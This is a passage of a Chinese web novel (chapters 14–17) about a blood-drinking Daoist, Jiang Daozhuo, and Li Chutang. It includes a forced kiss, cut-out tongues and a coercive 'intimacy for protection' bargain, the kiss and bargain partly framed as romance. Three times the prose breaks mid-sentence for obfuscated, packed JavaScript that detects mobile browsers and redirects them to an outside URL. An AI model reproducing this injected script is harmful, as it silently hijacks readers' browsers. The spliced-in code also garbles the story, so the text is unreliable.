江道灼缓缓转头，看向她，笑意冰冷，“怎么，你想过去陪你儿子？” 红姨立即噤声，委屈地看了眼帮手。那些一向张狂的喽啰和跟班怒气横生，尤其是豁牙老汉的儿子！ “就是你！就是你害了我爹！我跟你拼了！啊——” 他大吼着劈刀砍去，无疑给了其他人勇气。一群壮汉围过去，要和江道灼拼死一搏！ 危及生命的刀光闪过，江道灼热血奔涌，激得眼眸生出细密血丝。 见他这般神色，李初棠心知大祸临头。她趁乱躲到安全地带，一边取弓弩，一边观察局势。 道人杀人时没有表情，甚至带着一种解脱般的愉悦。须臾，那群臭鱼烂虾倒在了他脚下。 她环顾庙外，看到红姨鬼鬼祟祟要逃。 “等等！”李初棠跳窗而出，弯弓搭箭，“我还没让你走呢！” 她的耳朵被扯得生疼，决不能轻易放过这个老太婆！ 箭矢衔着怒气破空而出，谁知红姨刚想跳过低矮灌木，原本射她耳朵的箭矢直直戳穿了她的喉管。 红姨的尖叫戛然而止。 她踉跄后退，脖颈溢出汩汩鲜血，瞪大的眼中满是难以置信，最终轰然倒地。 庙前死寂。山民们脸色惨白，连连后退。 李初棠一怔，吓白了脸。 林张氏面如土色：“海棠、海棠你、你、你……杀人了……” 李初棠反应过来，恼羞成怒：“看什么看！不想死赶紧滚！” 山民们作鸟兽散，生怕被她射死。 江道灼正擦拭着桃木剑，再抬眸，蛇神庙外只剩李初棠。 他缓缓抬眼，视线落她唇边那抹刺眼的红上。他胸膛剧烈起伏，呼出的气息滚烫，混着药苦与血腥。 药毒在体内疯狂冲撞，眼前景象开始重叠、扭曲。他需要血，需要那味能平息一切躁动的药丹。 视线涣散中，他看见了失魂落魄的李初棠，她的唇瓣因疼痛微微颤抖，渗出一颗鲜红血珠。 那颗血珠，在月光下亮得像朱砂痣。 江道灼瞳孔骤缩，本能地疾步到她跟前，动作快得带起了风。 在李初棠惊愕的目光中，他捏住她的下巴，拇指擦过下唇，将那抹血色尽数抹开。 然后他低头，舔去拇指上的血。 动作缓慢，专注，带着一种近乎仪式的贪婪。 李初棠浑身僵硬，看着他抬起双眼。 猩红的眸子雾气氤氲，疯狂和脆弱诡异得交织在一起。 “别动。”他低语，气息烫得灼人，“渡气。” 下一秒，他低头吻住了她。 14. 14 李初棠脑中一片空白。 这是一种从未有处的陌生体验——冰冷的薄唇紧贴着她的唇瓣，带着血腥与药香的气息蛮横侵入。 四周死寂，只有她失控的心跳在胸腔里擂鼓呐喊。 江道灼紧搂着她，像溺水者抓住最后一根浮木。 混着濒死般的渴求，他笨拙地吮吸着唇血，试图将她肺腑间最后一点生气都吸吮殆尽。 这不是亲吻，这是求救。 但敏感的少女显然不这么认为。 和他接触的每一寸肌肤都在发麻发痒，带着生理性不适和抵触，她挣扎着要逃，却轻而易举被男人箍住腕子。 江道灼另一只手臂环住她纤细的后腰，任她如何踢打都不松手。 李初棠陷入一个沉重的、无法挣脱的怀抱，白嫩的后颈被迫高昂，嘴唇严丝合缝的黏在一起。 “放开……” 她含糊的抗议被吞没。 粗重的喘息混着衣料摩擦的窸窣声，刺激着她的神经。 她难以逃出桎梏，但绝不任由他摆布。 贝齿狠狠咬下，浓郁的血味在口中弥漫开来。江道灼动作一顿，随即用更暴烈的啄咬回应。 这不是惩罚，而是被这细微刺痛激发的、更深层的本能。 李初棠低吟一声，皱起漂亮的眉头，眯眼盯着他，好似无声的控诉。 男人闭着眼，长睫在苍白肌肤上投下脆弱的阴影。这是他第一次和女人唇齿交缠。 疯狂的本能驱使他索取，可当她的温热的药血真正涌来时，一种陌生的感受却击中了他。 这是一种计划外的、莫名的怔忪和迷失，也是他从未有过的体会。 药毒的狂躁确实被抚平了，但这平息感……不只源于血丹。 好像有什么柔软而温热的东西，正包裹着他千疮百孔的身驱，治愈着冰凉冷硬的内里…… 江道灼不顾一切地亲吻着粉嫩的唇瓣。 这感觉让他想起南疆药窟角落那丛从不扎人的绒草。可绒草不会反抗，不会流血，更不会有这样鲜活颤抖的温度。 这种陌生又不受掌控的舒适感令人不安……可他一点也不想离开。 药毒催化下的失控渐渐被抚平，江道灼的疯戾渐渐止住，涌上心头的是无止境的贪欲。 标记她、吞没她，让她的血肉和灵魂烙上他的气味，让她成为只属于他的那味药，别人再也不许染指……绝对不许。 而对李初棠而言，抗争正被生理性的眩晕取代。窒息感让双腿发软，就在她即将滑倒时，男人的手掌稳稳托住了她的后脑。 一种诡异的安全感袭来。 强大，霸道，不容置疑——就像他这个人。 她在他疯狂的索取里尝到了贪婪的味道，品出了一丝绝望的依赖。这个能轻易捏碎她喉咙的男人，此刻在她的温柔乡里汲取安稳。 多么荒谬…… 最让她恐惧的，是在窒息的掠夺中，心尖到小腹有种电流涌过的酥麻感——这种可耻的感觉，背叛了她高高在上的理智和骄傲。 江道灼气息烫得灼人。他吻得毫无技巧，只有蛮横的索取，像沙漠濒死的旅人偶遇绿洲。 李初棠双目涣散，喉间溢出一声极轻的、让她瞬间羞耻到战栗的呻.吟。 除了死死攥住他的衣袍，什么都做不了。 两人呼吸交融，唇间气息混为一体。她被动地尝尽了他的药苦，而她的血，成了这场荒唐中唯一一丝清甜。 不知过了多久，江道灼体内的躁动彻底平息，缓缓松开身边人。 分离的瞬间，一道暧昧的银丝于昏光中拉长。 江道灼用指腹擦过下唇，眼神里翻涌着餍足和尚未褪去的迷惘。 兴奋感刺激得他眼尾泛红，心底有什么在不安的骚动——这感觉太奇怪了。 李初棠骤然失去支撑，踉跄后退，脊背撞上冰冷的墙面。 她抬起头，怒视着他。 红肿的唇瓣微微颤抖，鼻尖泛红，杏眼里蓄满了泪，倔强地不肯落下。 这个吻没有爱和美好，只有掠夺、标记和畸形的共生。 它像一道血淋淋的分界线，将她过去十六年洁净的人生彻底割裂。 她身知回京大业，从未幻想过男欢女爱。即便如此，真挚的身体在非自愿的前提下被别人占有——即便只是嘴唇，也一样气得她发疯！ 怒火冲垮了理智，她像只炸毛的猫扑向他。 “混账——” 掌风袭来，下一刻，他本能地、毫不费力地握住她的手腕。 江道灼讶然看着她，眼神全然一片困惑。 正此时，右腿胫骨传来剧痛。 “唔！”他闷哼一声，眼底闪过极快的错愕。 出于自卫本能，他膝盖一顶便将她制住，反身将人逼到墙角。李初棠的手腕被牢牢擒住，她疯了似的低头，死死咬在他胳膊上。 “我跟你拼了！” 江道灼微微挑眉。 他缓慢地扫过她通红的脸颊、湿润的唇，最后视线落在她因挣扎而微敞的领口处，那里露出了一截清晰洁白的锁骨。 不明白她为何发疯，但突如其来的攻击令他不悦。 “胆子不小。” 他声音低沉，尚带着亲吻后的暗哑。 李初棠死死咬着他，感受到衣料下的肌肉坚如铁石。 好硬。 怎么办，咬不动…… 她的报复像螳臂当车一样可笑。 而且人家好像没意识到这是报复…… 酸涩冲破鼻腔，汹涌的委屈席卷而来。她呜咽起来，滚烫的泪水打湿了坏人的衣袖。 江道灼动作一滞。 怀里的人颤抖着，哭得像个受尽委屈的小孩。 江道灼无措地看着她，他实在想不通——断人手臂时她没哭，亲眼见杀人时她没哭，如今唇瓣破了点皮，为何哭成这样？ “你答应过我不许哭。”他皱眉，语气里是自己都未察觉的烦躁。 李初棠猛地推开他，提裙跑进破庙。 江道灼在原地站了一会儿，才跟了进去。 屏风后，她侧躺于床，背对着他，肩头微微颤动。感知到他的脚步声后，颤抖的脊背突然止住，变成一种倔强的僵硬。 “你哭什么？”他不耐问。 回应他的是死一般的寂静。 江道灼照例躺下，顺手去抽她枕边的一缕长发。往日他睡前总要将两人发丝缠在一起系在指上，这是他的习惯。 起初她骂他疯子，后来渐渐默许，偶尔会帮他捋顺头发。 可今夜，她不动，不挣扎，也不回头。只用紧绷的背影诉说着排斥。 江道灼系好发结，盯着她的后脑勺。 右腿的钝痛隐隐传来，那是她拼尽全力的一踢。她一向从容，鲜少失态。可今夜又哭又闹，又咬又踢，甚是反常。 他忽然意识到，自己从未真正理解过这具血丹之体的反应。 她根本不是静物。 她是有情绪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495116|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，有血性的。 她会痛，会怒，会有他完全无法预料的情结。 可如此鲜活之人成了他的一味药，于他而言便是陌生的掣肘。 李初棠在极度疲惫中昏睡过去，梦里暂时逃离了一切羞耻和绝望。 对江道灼而言，是个无眠之夜。 枕边人偶尔无意识的抽泣不是他失眠的主因。 真正困扰他的，是亲吻时陌生的柔软，以及她沉默僵持带来的……失控感。 按照南疆医理，情绪低沉会影响药性，于他有害无利。 明日，他不能再任由她这般失常。 思及此，江道灼烦躁地翻了个身。 晨光透进破庙时，最先醒来的是李初棠。 她睁眼，面无表情地扯开与他缠在一起的发结，动作干脆利落。然后起身，洗漱，全程没有看他一眼。 江道灼紧跟着坐起：“你眼肿了。” 没有回应。 “疼不疼？”他跟在她身后，去了盥洗处。 除了盥洗刷牙的声响，再无回应。 李初棠洗漱后，直奔林张氏家里。不一会儿端着托盘回庙，江道灼手里握着凉水浸过的巾子，在庙门前等她。 这是他能想到的、最接近补救的方式。 她端着早饭的托盘走近，目光平静地扫过他，扫过他手中的布巾，然后像看见空气般移开视线，擦肩而过。 江道灼举着布巾的手僵在半空。 李初棠抽出竹凳，摆好碗筷。 江道灼发现根本没有他的竹凳，再一细看，桌上连他的碗都没有，而且她只拿了自己那份伙食。 平日细嚼慢咽的姑娘此刻吃得很快，吃完，迅速起身要走。 江道灼：“？？？” 他跟到庙外，看着她的背影：“你生气了？” 李初棠垂眸刷碗，嘴角抿成一条紧绷的线，侧脸在晨光中显得格外冷淡。 江道灼挑了挑眉，语气里带着试探的兴味：“为什么假装看不见我？” 刷碗的动作没有停顿，甚至没有一丝迟滞。她洗完，端起碗筷，头也不回地走了。 江道灼独自站在溪边，晨光将他颀长的影子拉得很淡。他低头，看着手中那块早已没了凉意的湿布巾。 这是他唯一能想到的、似乎对红肿和眼泪有用的东西。 她没有接。 甚至连看，都没看一眼。 这不对劲。 他仔细回溯昨日种种：断男人手臂时，她虽惊未乱。杀红姨时，她甚至趁机补箭。被逼至绝路，她还能想出税法漏洞。 那时她看他，眼底有惧、有怒、有精明算计，独独没有此刻这种虚无和绝望。 仿佛他这个人，连同他手中之物，皆从她的世界剔除，不留一丝痕迹。 江道灼蹙起眉，意识到问题的严重性。 他开始推演：若是血丹受损，她当萎靡不振，而非行动如常。若是受了惊吓，她该瑟缩远离，而非精准无视。若是怨恨报复，更该如昨夜般踢打撕咬，而非这般寂静。 他想起她咬他手臂时滚落的泪，想起她蜷在床角颤抖的背脊，想起今晨她掰开发结时，指尖微不可察却决绝的力道。 所有的反常，似乎都始于那个…… 江道灼的思绪停下了。 他缓缓抬起手，指腹无意识地擦过自己的下唇。 那里没有血迹，却仿佛还残留着一丝陌生的、柔软的触感。 难道……是因为昨晚吻了她？ 15. 15 这个念头跳出来的瞬间，他自己都觉得荒谬。 断人手臂她不哭，当面杀人她不哭，如今只是唇齿相贴、取了些许该取之血，她哭闹踢打，还摆出这副矫情模样。 竟然因和他嘴碰嘴而生气…… 可嘴唇比起手脚、甚至性命，又算得了什么？ 达官贵人的那套礼教，果然荒谬又难懂。 破庙里，李初棠重重坐回竹床。 她轻轻按揉红印未消的手腕。那里还留着他昨夜的指痕。她缓缓抬手，用力擦了擦嘴唇。 擦不掉的。 那种被侵入、被标记、被强行拖入某种畸形羁绊的感觉，已经渗进骨子里。 李初棠抱着双膝缩成一团，努力平复心绪。 不知过了多久，屏风后延伸出一个呆愣愣的黑影。 “你是因为我亲你……” 一串连贯的脚步声自屏内传来，少女绷着脸提裙跑了出去。 江道灼僵持在原地。 他习惯了她的声音、她的视线、她偶尔的搭话。 彻底的沉默，对他而言是一种陌生的失控。 他握紧手中渐渐失去凉意的布巾，第一次产生了无法用血丹理论来解释的烦躁——就像看见珍贵药材被无知山民践踏，却找不到该向谁讨还的憋闷。 李初棠不想和他同处一室，自庙里出来，挑着扁担去了林张婆婆家。 山风吹过林间，掀起她单薄的衣角，也吹不散心头那层黏腻的不适。嘴唇似乎还残留着属于那个人的烙印。 林张氏正要出门，一见李初棠饶是惊讶：“呦，海棠……这是去哪儿？” 李初棠定了定神：“我去溪边挑水，林张婆婆一起吗？” “我先不去了。”林张婆婆顿了顿，迟疑着说，“我去红姨家看看，她家这不……刚灭了门。” “一个村乡里乡亲的，我得去看看，海棠你就别去了。”她言辞里含着提醒。 李初棠心里莫名一空，舌尖下意识舔过嘴唇，“那好，我们顺路一起走。” 路上林张氏念叨：“山里死了人，要守七天孝，第七天在庙里祭拜蛇神后才能下葬。” 不久，她指了指前面围满人的那家，道：“喏，那是红姨家。” 她压低声音说：“这里人多，海棠你绕着点走。” 红姨家被漫天白幔和邻居围得水泄不通，偏又是下山取水的必经之路。 李初棠别了林张氏，低着头假装路过。山间土路凹凸不平，她无意间踩到石子，空荡荡的木桶在扁担上大幅晃荡，发出叮当声响。 何况她的仪态和容貌放在山野之间，想不引人注目都难。 部分山民扭头看过来，眼尖的立刻认出了她。 “是她！快看！” “她就是昨晚杀了神使！” “真不要脸，杀了人还敢在人家门口招摇！” 死者为大的观念于闭塞的深山封为圭臬，李初棠这个外地人顺理成章被视为祸害。 李初棠挑着扁担往外走，对流言蜚语充耳不闻。 “可不嘛，和她带来的那个野男人一路货色！” “祸水配疯子，绝配！” 不轻不重的声音传到耳畔，李初棠脚步一顿，骤然回头：“别提他！我和他不一样！” 猝不及防的一声大喊，让围观的人群一怔。 方才说话的人立刻回击：“不一样个屁！你不也是个杀人犯吗？！” “妖女！就是你害死了红姨和虎哥！” 昨晚死了一帮人，今日办丧失的不只红姨一家。一个戴孝的老汉狠狠说：“她定是来山上逃难的妖女，她一来，山上就祸事不断！” 李初棠握紧扁担：“虎哥是自作自受，那群喽啰是自作孽不可活！” “我呸！他们都是蛇王亲信，你害死了他们，就是和山里人作对！” 李初棠气结，切齿道：“是啊，我就是要和山里人作对，我不仅作对我还会害人，我下一个就杀你！” 她怒目圆睁，一字一句掷地有声。众人被她这突如其来的狠话吓住，一时噤声。 李初棠只觉心口堵得慌，再没了挑水的心思，转身便走。走出几步，身后隐约传来低语。 “瞧那丧门星的样子……” “一个被窝里睡不出两种人……” 她咬紧下唇，加快脚步，跑着离开了。 人群议论不止，忽而诡异地安静一瞬。 方才骂得最凶的那个老汉，猛地瞪大了眼睛，像是被无形之手扼住了喉咙。所有人顺着他的目光，惊骇地望向不远处老槐树的阴影下。 一个高大的身影不知倚在那里多久，玄色衣袍几乎融进树影里，只有一双眼睛，冷得像淬了毒的刃，正无声地、一个个地扫过他们的脸。 山民们皆感脖颈一凉。所有的叫骂，就在这江道灼死寂的注视中，生生噎回了喉咙里。 蛇蛊从他的脚步散布而出…… 直到他收拾完，如同鬼魅般消失，那股冻彻骨髓的压迫感才从人群中缓缓消散。 李初棠不知在歪脖子树上哭了多久。 她抱着膝盖，眼泪止不住地往下掉。那些恶毒的话语像针一样扎在心里，更让她恐惧的是，她发现自己真的在渐渐习惯这种被唾骂的处境。 这个念头让她浑身发冷。 江道灼寻来时，太阳都要下山了。 男人身上带着未散的血腥气，轻而易举翻到了树上。 树枝微微一颤，李初棠蜷缩着往另一边靠，和他保持着疏远的距离。 江道灼将一个小布包递到她面前。 “看我给你带了什么？” 李初棠抹了抹眼角泪珠，完全不搭话。 布包里传来难闻的腥味。 江道灼语气平静，甚至带着一丝邀功：“别哭了。说你坏话的，一共七个，舌头都在这儿了。” 说着，他掀开布包，露出骇人的战利品。 李初棠吓得大叫，哽咽声骤止，惊恐地看着他：“你……你个疯子！你要吓死我！” 江道灼眼底微亮：“终于肯说话了。” 李初棠转身去擦哭花了的脸，怒道：“他们说就说，我自守本心就好，至于赶尽杀绝吗？” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495117|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道灼冷哼：“我对你承诺过，如果有人让你哭，我就让他永远哭不出来。” 他随手扔掉那团脏东西，坦言道：“他们让你哭，就是让我不痛快。拔了舌头一劳永逸，哪里不对？” 李初棠轻颤着身子哽咽：“你、你根本不懂……他们说的那些话……有多伤人，都是因为你……你昨天那样……那样对我……很恶心！” 江道灼沉默片刻，似乎在努力理解恶心的含义。他想起唇上温软的触感，想起她血珠里独特的甜香——这些明明和恶心八竿子打不着。 罪魁祸首不仅不知悔改，还一脸懵懂，李初棠顿感无力。 她捂脸埋头，自言自语地抽泣：“我不像你那么不要脸，我从小就要学规矩……又不得自由……好不容易去了江南，结果倒好！回京又遇到你……成了杀人犯和女妖！我好像、好像要和你一样变成怪物了。” 李初棠说得前言不搭后语，哭到力竭，无意识地靠住了他的肩侧。 江道灼身体僵硬片刻后，没有推开，而是抬手，用生疏的动作，轻轻拂去她发间一片树叶。 这种非人感的体会和自厌情绪，于他而言是久违的共鸣。 “在南疆的时候，我被人扒光，和几十个药童泡在药池。池子里是虫蛇蛊蚁，师父给我们灌了药，让虫子在皮肤下面钻，看谁先崩溃。比起这个，嘴唇碰一下算什么？” 他说话如叙述天气般的平淡，神色更是淡然自若。 李初棠脑补着画面，震惊地忘了哭泣，整个人被他话语中巨大的阴晦冲击。 见她愣怔，江道灼继续说：“他们用烧红的针，扎这里，这里。”他随意点点自己的后背和大腿，“就为了听我们惨叫，测试耐力，记录药性反应。” “你只是哭，只是骂，没人真的伤你。所以，没必要哭。”他直勾勾看着她。 这是李初棠第一次听他讲过往。 在他扭曲的认知里，他在用自己更惨的经历作比较，就能成功安慰她。 李初棠听完，在恐惧中滋生出一丝难以言喻的悲悯。 原来他不是天生怪物，而是被人做成了怪物。 他神色随意，似乎在说：你看，你这点事根本不算痛苦。 难怪他的忍受力、廉耻心、道德感都异于常人。 她怔怔望着他，眉心微蹙。心底对他的恐惧和排斥，在悲悯的冲刷下竟裂开了一道细缝。 江道灼继续道：“以后杀人的事我来，你的手，不必脏。” 他抱臂说完，须臾又问：“不哭了？” 李初棠垂眸哼了一声：“我早不哭了，瞧不起谁呢。” 静默在暮色中蔓延。远处传来归鸟的啼鸣，山风拂过树梢，沙沙作响。 过了许久，李初棠轻声开口，像是试探，又像是终于鼓足勇气直面此人：“我有个问题，你必须回答。” “说。” 李初棠抬眸，直视着他那双在昏暗光线下依然锐利的眼睛。 “你为什么突然亲我？” 江道灼几乎没有犹豫，仿佛答案早已刻在骨子里。 “因为我喜欢你。” 16. 16 “我喜欢你”——这种暧昧的话，江道灼说得甚是随意。 饶是李初棠也被惊到了。 俗话说，没吃过猪肉总见过猪跑。 江道灼于男女情事毫无经验，但自南疆回到京城这些年，见惯了世俗男女的分分合合。 在他看来，亲吻这种事只会出现在特殊关系的男女之间。所以用“喜欢”作借口，应当能蒙混过去。 李初棠直勾勾盯着他，目光锐利如针，仿佛要刺穿他的表象。 “你撒谎，你不可能喜欢我。” 江道灼微讶：“为何笃定？” “看眼睛。”李初棠说，“你同我说话时，眼里没有半分温度，还敢大言不惭说喜欢。” 女子的情绪感知力远胜男子。江道灼这种人，注定理解不了这些细腻的情丝。 “说，到底为什么亲我？”李初棠质问，誓要讨个说法。 眼看糊弄不过，江道灼坦白：“因为我对你有生理需求。” 说者无心，听者有意。他所指的是血丹药性需要，但到了二八年华的少女耳中，完全变了意味。 李初棠先是一愣，随即冷笑起来。 她对男女之情的认知大多源于话本。她不是不知道，这世上有种无耻之徒，能将床笫之欢与真心实意截然分开。 即便不爱一个女子，他们也会生出龌龊念头，甚至以占有和掠夺为乐。 初与他同宿那夜，她就暗自戒备，担心他起色心。后来发现他迟迟没有行动，这才放下戒心。 不曾想他藏得这样深，果然天下乌鸦一般黑！ 江道灼不解：“你笑什么？” “笑你无耻。”李初棠气得胸腹起伏，“你竟以亲吻取乐，未经我允许就肆意妄为，你不尊重我。” 她定是从小受着教养长大，哪怕生气也不会歇斯底里，而是冷静的发怒。 这点软绵绵的情绪发泄在江道灼身上，自然不痛不痒。 他挑眉看着她，语气调笑：“所以你只是害羞？” 李初棠神色一僵，脸颊不受控制地泛起红晕。 “你生气就为这个？”江道灼不可思议地笑了声，“可我亲你的时候，你真的不舒服么？” “我……”李初棠气势一滞。 ……真是因为被他亲了才羞耻吗？ 回忆起昨夜那个吻，她心底涌起一阵心虚。 江道灼观察着她的神色，平静拆穿：“你当时心跳很快，眼神散了，身子软了，后来也没再咬我。” 他像分析药性般条理清晰，继续道，“你若真厌恶那种感觉，绝不会是这般反应。相反，你其实也很享受。” 随着他的话，李初棠脸颊爆红，心虚气短：“……你胡说！” 被男人说中隐秘，她羞愤得想死，但又无法否认——昨晚真正让她感到耻辱的，是自己无法控制的、源于身体深处的迎合和反应。 比起这个混账，她更生自己的气！ 江道灼捻起她一缕发丝把玩，懒洋洋道：“既然享受，我大可以帮你。” “谁享受了？！”李初棠反驳。 她嗔怒的模样分明是此地无银三百两。 他不再绕弯，直接开出条件：“你需要保护，不被流言所伤，不被他人所欺。而我与你有同样的身体需求，深山老林又无旁人，不如彼此放开些。” 李初棠愕然，几乎以为自己听错了：“……放开什么？” 江道灼语气不容置疑：“不必紧张，只是一场交易。你偶尔让我亲近，我保你平安无虞，再无人敢犯你分毫。” 他直白地将情感纠葛和生理需求明码标价，变成赤裸裸的交换条件。 “你竟然将这种事当交易……”李初棠瞪圆眸子。 一股细密的酸楚自心底蔓延——她竟真的坐在这里，同他讨论如何将自己的嘴唇标价出卖。 前所未有的荒唐。 她可以忍受和他假扮夫妻，和他同居一室，这是她身处困境做出的无奈之举，亦是底线之内的最后妥协。 可若真有什么夫妻之实，哪怕只是单纯的拥抱和亲吻，都在她的心理承受范围之外。 “这很公平，反正你也乐在其中。”江道灼一针见血。 “……你！”李初棠气结。 她转身不想再理他，慢慢滑下老歪脖子树，没走几步就被他追上了。 “不再考虑一下？”江道灼笑了，“反正只需要我卖力气。” 李初棠只管走路，试图甩掉这个烦人的家伙。 江道灼亦步亦趋跟着她：“你是不是觉得这个交易不成立？因为我之前承诺过护你周全。可你有没有想过，以我的能力随时都能亲近你。你若不想我突然袭击，不如现在敞开了谈。” “你这人讲不讲道理？”李初棠停下脚步。 江道灼挑眉：“是你自找的，谁让遇上我。” 李初棠气得说不出话，圣贤书里从没教过如何同一个疯子讨价还价。 可转念一想，他一旦认定的事，从来无人改变。与其等他像昨夜那般蛮横无理，不如提前听听他的条件，至少能掌握一些主动权。 “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她目光沉静下来，眼底有什么东西缓缓凝结，硬得像山岩。 “这次，听我的。” 桌上的烛火轻轻一跳。李初棠放在膝上的手，无声地攥紧了裙裾。 今日这一遭，让她彻底对这群刁民失望。 山上的风气是时候整顿整顿了。 17. 17 江道灼醒得很早。 睁眼时，李初棠正面对他熟睡。昨日和解后，她拗着性子没让他结发，此刻青丝铺了满枕，一缕发丝滑过脸颊，堪堪挂在唇角。 他本想移开视线，目光却鬼使神差地停住了。 晨光里，她的双唇透着睡梦中特有的水润光泽，下唇饱满，上唇的唇珠微微嘟起，像颗熟透的樱桃。 前日，他还曾衔住过。 那种温软湿润的触感，带着血的微甜，比南疆最惑人的蛊药更令人恍惚。 江道灼微微眯起眼，像审视一味难解的毒草般，专注而探究地盯着她的唇。 直到李初棠眼睫轻颤，怔忪醒来。 四目相对，距离近得能感受到彼此的呼吸。 李初棠猛地向后弹开，耳根瞬间烧红，手忙脚乱地整理衣襟。 江道灼坦然坐起身，仿佛方才的凝视从未发生。 “今天想吃什么。”他语气平常。 “都行。”她的声音绷得有些硬，带着未消解的别扭。 江道灼几不可察地挑了挑眉。 又生气了？ 一顿早饭在沉默的尴尬中用完，李初棠起身挑起扁担出门。 前次红姨在林张婆婆家闹事，砸坏了浴桶，她好几日没能沐浴，今日定要好好洗洗头发。 沿着山径往溪边去，她总觉得背脊上落着锐利的窥视感。 溪水从临近的阳明山瀑布流泻而下，这个时辰，常有三五妇人聚在此处浣衣取水。李初棠放下扁担，望向四周层叠的群山。 草山不过是京郊最不起眼的一座。想从这荒岭逃出去，谈何容易。 暮春将至，与丫鬟蓉儿失联已近一月，早过了和父亲信中约定的归家日子。 可太师府为何……至今毫无动静？ 李初棠压下心中失落。 她不喜欢这般被动，却又无可奈何。她拗不过狂暴的山民，更逃不出疯子道长的掌心。 就比如此刻，他悄无声息地跟来，坐在溪边高石上，支着一条腿，手臂闲闲搭着膝盖，一动不动地看着她。 李初棠心头冒火，瞪去一眼，利落地抽下荆钗。 她跪坐在溪边，将如瀑长发拢到肩前，执木梳缓缓梳理。清澈的溪面倒映出男人的身影。 他还在看。 她抓起一颗石子，“扑通”一声砸进水里，水花猛地溅起，打湿了他一片衣角。 江道灼“啧”了一声，笑了下，“脾气真大。” 他说罢起身，不再看她，拎起扁担木桶往上游走去。李初棠听着他渐远的脚步声，心绪才稍稍平缓。 她低头浣发，水珠顺着长发滚落。偶有山民路过，压低声音议论。 “快看，是那个妖女……” “别看了，晦气……” 她恍若未闻，继续手上的动作。 一声冷冷的轻咳响起，那几个嘴碎的山民如惊鸟般散开。 江道灼挑着水回来，姿态看似闲散，视野范围内始终笼着她。 但凡有不善的视线投来，他就冷冷扫去，直到对方仓皇躲开。 李初棠弯腰冲洗长发，湿发披散，露出一截白皙的后颈，在春光下莹润如暖玉。 她能感觉到他的注视，背脊微微绷紧，却不回头，只是加快了动作。 水珠从发梢滚落，滑过侧脸，沾湿了她的唇角。 江道灼的视线随之移动，凝在那片水色润泽之上。 待她绞干头发，收拾妥当，抬眸看见他在不远处静静等候。 他没穿那身仙风道骨的道袍，也没戴莲花冠，只一袭玄黑箭袖，红绳高束马尾，透出几分落拓不羁的少年气。 李初棠从不知他年岁，只觉得他大不了自己几岁。这般安静站着时，眉眼精致又漂亮，任谁也难将他与那个血腥狠戾的疯道联系在一起。 山风拂过，他腰间红绳下坠着的零碎物件轻轻相碰，叮当作响。 似有活物在其中窸窣搅动。 李初棠走近，目光扫过那些银笛、符纸、铜钱，最后落在那只拳头大小的镂空银球香囊上。 江道灼见状，解下香囊递给她。 李初棠接过，闻到一股浓烈的药粉气，掀开银盖，只见内里塞着浸满药汁的符纸，纸面蠕动着数只细小的蛊虫与两条幼蛇。 她手一抖，强压住惊叫，迅速合上盖子。 江道灼得逞般低笑两声。 李初棠强作镇定，撇嘴瞪他，眸光湿润，像只受了惊却偏要逞强的小鹿。 微妙紧绷的气氛，在这一瞪一笑间裂开了细缝。 “这是什么？”她打破沉默。 观澜回到草山时，撞见江道灼拎着一只肥硕的山鸡。 他吓了一跳，忙上前接过，心下懊恼没带帕子给这位素来厌沾荤腥的主儿净手。 两人回了蛇神庙，此刻李初棠不在庙里。 “主上，信已交予白督主。”观澜奉上一卷旧册，“此乃人祭秘本，恭贺国师。” 江道灼瞥了眼刚做的竹案，淡淡道：“放下吧。” 观澜一怔。 国师行事向来果决，既定之策从无更改之理。 “您不是想尽早摆脱她吗……” 只要把她炼成药丹，一切都清净了。 “朝中近日可有异动？”江道灼打断他，接过秘本随手翻了两页，便搁在案上。 观澜立刻肃容：“李太师联合众臣向圣上施压，竟造谣说您天祭殉国乃大吉之兆，还敢鼓动圣上重整朝纲。还好有白督主和二殿下稳住局面，清理了一批墙头草。” 江道灼嗤笑：“这么快就想洗牌？也太瞧得起自己。” 观澜见他神色如常，忍不住压低声音劝道：“主上，饮血终是事倍功半，不如依秘法炼成药丹，一劳永逸。再者……暮春满月将至，您的身子——” “观澜。” 江道灼声音不高，却令周遭空气骤然一冷。 他的禁忌，从不许人提及，尤其是药人换季之劫。 “之前本座提到人祭，你还怜香惜玉，现在怎么转变这么快？”他敏锐道。 观澜抬眸，凝视着主子，道：“观澜这次回京，顺道查了这女人来历。她正是太师李谦长女，闺名唤作初棠，今年十六！” 江道灼微微挑起眉峰，他许久没收到这么戏剧的消息，饶是经历了起起落落，也不得不感慨一句，这天下太小了。 “……李初棠？” “正是她。”观澜解释，“她是李太师和原配苏氏的遗女，自小长在深宫侍奉梁皇后。梁氏一族倒台后，她随皇后出宫清修，次年又去江南为外祖守孝，直到今年才启程回京！” 江道灼想起了四年前的朝堂巨变。梁氏倒台后，很快牵扯出江南第一氏族的贪墨案，自此苏家树倒猢狲散，就连曾为女婿的李太师也极力撇清关系，唯有李初棠逆流而上…… 江道灼忽而来了兴致。 